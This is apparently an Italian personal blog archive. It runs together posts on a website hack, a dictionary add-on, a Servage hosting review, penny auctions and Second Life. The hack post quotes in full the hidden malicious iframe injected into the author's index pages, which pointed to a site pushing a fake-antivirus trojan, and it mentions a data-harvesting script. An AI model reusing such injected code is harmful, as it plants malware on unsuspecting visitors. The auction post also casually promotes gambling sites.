Praticamente, probabilmente sfruttando le debolezze dell’hosting oppure utilizzando le mie credenziali di accesso via FTP (cosa che mi sembra molto improbabile), è riuscito a modificare tutte le pagine index (sia html che php) di tutti i miei siti web inserendo il seguente iframe:

<iframe src=”http://thedeadpit.com/?click=xxxxxx” width=1 height=1 style=”visibility:hidden position:absolute”>

e un codice che ora ho cancellato che si collegava a google-stats.com e forniva (probabilmente) tutte le informazioni dei visitatori ai miei siti, ma che non ha nulla a che fare con google! Infatti se provate a collegarvi a quel sito si vieni subito dirottati a Google.it! Incredibile!

L’iframe invece chiudeva il browser e generava un messaggio di errore nel quale si consigliava di istallare un antivirus (pensa un po’ che bell’antivirus poteva essere) cliccando su OK. Mi hanno segnalato che Avast Antivirus lo segnalava come Trojan, ma per noi che utilizziamo linux non abbiamo questo problema! :-)

Morale: ho dovuto controllare e modificare i file index.php (anche quelli che finivano con index es. BoardIndex.php) di tutti i miei siti web, e modificare anche le credenziali di accesso! Non so dire con esattezza quale possa essere stata la causa di questo problema; il supporto del mio hosting servage mi risponde così:

Our servers are secured. Most of attackers use an upload script that allows visitors of the website to upload files. Please change your account password and check that no folders have insecure permissions such as 777 (unlimited access).

Però le cartelle dei siti web avevano i permessi 755, il che significa che solo il proprietario ha i permessi di scrittura, per questo ho supposto che l’hacker ha probabilmente sfruttato le debolezze del server o ha “sgamato” la mia user e pass dell’FTP… ma non ci credo a quest’ultima ipotesi ;-)

Oggi ho scoperto che per ogni parola per cui si cerca la traduzione esiste anche un link “sonoro“! Eh già… se ci clicchiamo sentiamo come si pronuncia quella parola in inglese e in “americano”! Utilissimo per me che per molte parole non riesco a sapere come pronunciarla :)

Quindi ho fatto una bella ricerca sul sito degli Addons di Firefox e ho trovato il plugin per WordReference che, una volta installato, permette di sapere subito la traduzione semplicemente evidenziando la parola che ci interessa e premere il tasto “D” della tastiera… e avremo in un nuovo tab la pagina con i significati e la pronuncia… bello eh! =)))

Che è uno degli hosting più convenienti in assoluto non c’è ombra di dubbio, e il fatto che i loro server risiedano in Germania è un punto a loro favore se per noi è importante un basso tempo di delay per la visualizzazioni dei nostri siti. Ultimamente però le connessioni ai database creati su Servage hanno un ritardo così esagerato che è davvero estenuante navigare sui siti da lui hostati! Per non parlare dei tempi interminabili che si aspettano per inserire un nuovo articolo con un CMS come Wordpress! Capisco che è un’hosting molto apprezzato ma così le bestemmie volano!

Prendendo come esempio un sito sviluppato con WP appunto, ogni volta che si accede alla homepage il CMS effettua l’accesso al Database e con una serie di richieste visualizza i contenuti del sito stesso! Normale direte! Ma non diventa più normale quando per accedere al DB ci impiega, in molti casi, anche 20 secondi! Non è concepibile nè per noi sviluppatori nè per i visitatori stessi! Fortunatamente ho risolto il problema con un plugin per WP di nome Wp Super Cache! Ma se avessi messo a punto un bellissimo E-commerce come Magento su un hosting Servage? Quante bestemmie avremmo detto noi quando dovevamo inserire un nuovo prodotto e aspettare 30 secondi solo per l’accesso al DB? E quante ancora ne avrebbero dette i visitatori soprattutto al momento del pagamento?

Ebbene, molte cose ho capito di Servage Hosting, e sento il dovere di diffondere nel mio blog i pregi e i difetti.

Pregi di Servage:

• Economico: soltanto 80 euro l’anno (circa)
• Ricchissimo di funzionalità e pieno controllo del server come un VPS.
• Possibilità di attivare e disattivare funzioni del php.ini
• Mod Rewrite attivo (determinante per le attività SEO)
• Possibilità di hostare più di 25 domini
• Gestione DNS completa (puoi comprare i domini altrove e dirottarli li)
• Infinite caselle email ed ftp account
• 1000 Database disponibili per ogni account
• Più di 510 Gb di spazio e 5 Terabyte di traffico mensile consentito
• Possibilità di creare infiniti domini di terzo livello (http://sub.domain.com)
• Supporto tecninco attivo 24 ore su 24 (rispondono anche dopo 2 minuti)

Difetti di Servage:

• Database spesso troppo, troppo, troppo lento da accederci
• Alcune restrizioni lato server (che non riesco a spiegarvi in 2 righe)
• Impossibilità di istallarci un e-commerce causa eccessiva lentezza DB

Come vedete i pregi sono nettamente maggiori, ma per quanto mi riguarda il fatto che sia troppo lento ad acceddere ai DB ne moltiplica per 1000 i difetti! Lo consiglio a patto che non vogliate installarci un ecommerce e che il vostro CMS disponga di un plugin per creare una cache delle pagine in html; il che risolverebbe il problema dei ritardi di accesso al DB.

Ecco come IO avevo inteso il loro funzionamento (sbagliando):

Il giocatore si iscrive e ogni volta che vuole fare la puntata versa l’importo che ha deciso immediatamente per poi attendere il risultato al termine dell’asta. Ho inteso questo perchè ho pensato: questi non possono mettere una macchina e venderla a quello che veramente mette l’offerta unica più bassa. Quindi, se tutti puntano quella quota ed escono dalle proprie tasche per andare in quelle del sito, loro ce li fanno i soldi… e anche tanti! Poi quello che ha l’unica più bassa si aggiudica il premio.

Ma in realtà non era cosi! Infatti, leggendo meglio le FAQ di alcune famose aste al ribasso, ho capito davvero il loro funzionamento!
Praticamente non era come avevo pensato io che quando uno faceva una puntata pagava subito quei soldi! Per ogni putanta che vuoi fare… tu paghi immediatamente 2 euro (alcune 1 euro, lo decidono loro) e puoi anche puntare 300 euro, ma non li paghi subito! Li paghi soltanto nel caso in cui la tua offerta è la UNICA e PIU’ BASSA delle altre.

Pagando quei 2 euro, il sito ti informa subito se la tua offerta è unica oppure no, se è la più bassa ma non unica, ecc ecc. E questo perchè? Perchè intanto così l’asta non diventa un gioco d’azzardo in quanto in ballo non c’è solo la fortuna, e poi perchè sapendo subito che hai già perso tu cosa fai? Non ci riprovi? E sono altri 2 euro… :-D Loro dicono che non è un gioco d’azzardo e che puoi trovare la tua strategia per aggiudicarti l’oggetto il palio… è così alla fine! Però dai! La fortuna conta moltissimo… e anche il portafoglio che hai! :-D

Ad ogni modo… ho fatto un ragionamento un po’ minimalista ma che alla fine non è poi così sbagliato: dato che l’azzardo ce l’ho nel sangue e che ogni volta che vado in un autogrill devo comprare un gratta e vinci da 5 euro… tanto vale ne spendo 2 e tento la fortuna con alcune strategie psicologiche ;-) E’ più eccitante non credete? ;-) Però ho deciso di fare la mia puntata a poche ore dalla fine dell’asta… e non parecchi giorni prima. Sapete perchè? Perchè se mi dicono che la mia offerta non è unica e bassa è difficile che mi trattenga a non farne un’altra ;-) Cerco soltanto di limitare la mia tentazione… Eheheh!

Per cui ho deciso! Farò soltanto un versamento di 10 Euro (che con il bonus d’iscrizione diventa il doppio in alcune aste, quindi 20 euro) e me li gioco soltanto quando ci sono auto, portatili, e premi molto grandi. Tanto la vedo come una lotteria… non ci penso nemmeno di adottare strategie e spendere centinaia di euro per aggiudicarmi un oggetto! ;-)

Ecco alcune aste famose nelle quali potete iscrivervi ricevendo un bonus:

• YouBid: gli oggetti all’asta sono quasi tutti dell’elettronica.
• BidPlaza: le putante per sperare di vincere le auto le faccio qui.
• AsteClick: se la macchina è più carina scelgo questa asta.

Ma mi raccomando! Loro sono contenti che per un’ipod ci guadagnano 4′000 euro ogni volta che la mettono all’asta, chi se lo aggiudica gode perchè l’ha pagato 21 Centesimi… ma sono quelli che ci giocano d’azzardo che fanno contenti entrambi ;-)

Senza Linden Dollars non si riesce a far molto in questo gioco, e per questo devi ingegnarti su come guadagnarli almeno per rendere gradevole il look del tuo personaggio. All’inizio, quando ancora esistevano, giravo per i casinò in cerca delle parking chairs per guadagnare qualche L$ per acquistare un abbigliamento carino… ma per renderlo davvero bello si devono spendere anche 30$ reali.

Io ho avuto la fortuna di conoscere una ragazza di New York che aveva un negozio di accessori per cani e che cercava una modella per attrarne gli acquirenti. Vi chiederete: ma a cosa serve una modella in un negozio per cani? Eheh! Ho fatto la stessa domanda alla ragazza che aveva intenzione di assumermi e lei mi ha detto che quegli accessori presentavano dei bug sugli animali e che quindi aveva deciso di venderli a persone che amassero… diciamo così… il sadomaso :D

Mi feci un sacco di risate anche perchè ancora non sapevo che esisteva anche il sesso su second life… e invece c’è, ed è anche molto richiesto! Come vedete anche nella seconda vita certe cose non possono proprio mancare! :D Insomma, per farvela breve, il mio portafoglio era al verde e lei mi voleva a tutti costi anche perchè ero molto interessato nell’iniziare a essere un membro attivo del gioco (mmm… molto ambigua questa frase) e lei decise di acquistarmi tutto il necessario per essere una modella degna del suo negozio!

Ed eccomi qua! Mi vedete nello screenshot qui sopra come sono diventata! (o diventato?) ad ogni modo il mio orientamento sessuale nella vita reale non cambia! :D Essendo una seconda vita… perchè creare un personaggio maschile? :) Ora che questo negozio è fallito (non per colpa mia), mi ritrovo a girovagare per le isole di second life con questo personaggio con qualche idea di marketing in mente e… molto presto, quando avrò un po’ di tempo libero, le metterò in pratica e ne parlerò qui nel blog! A presto! :)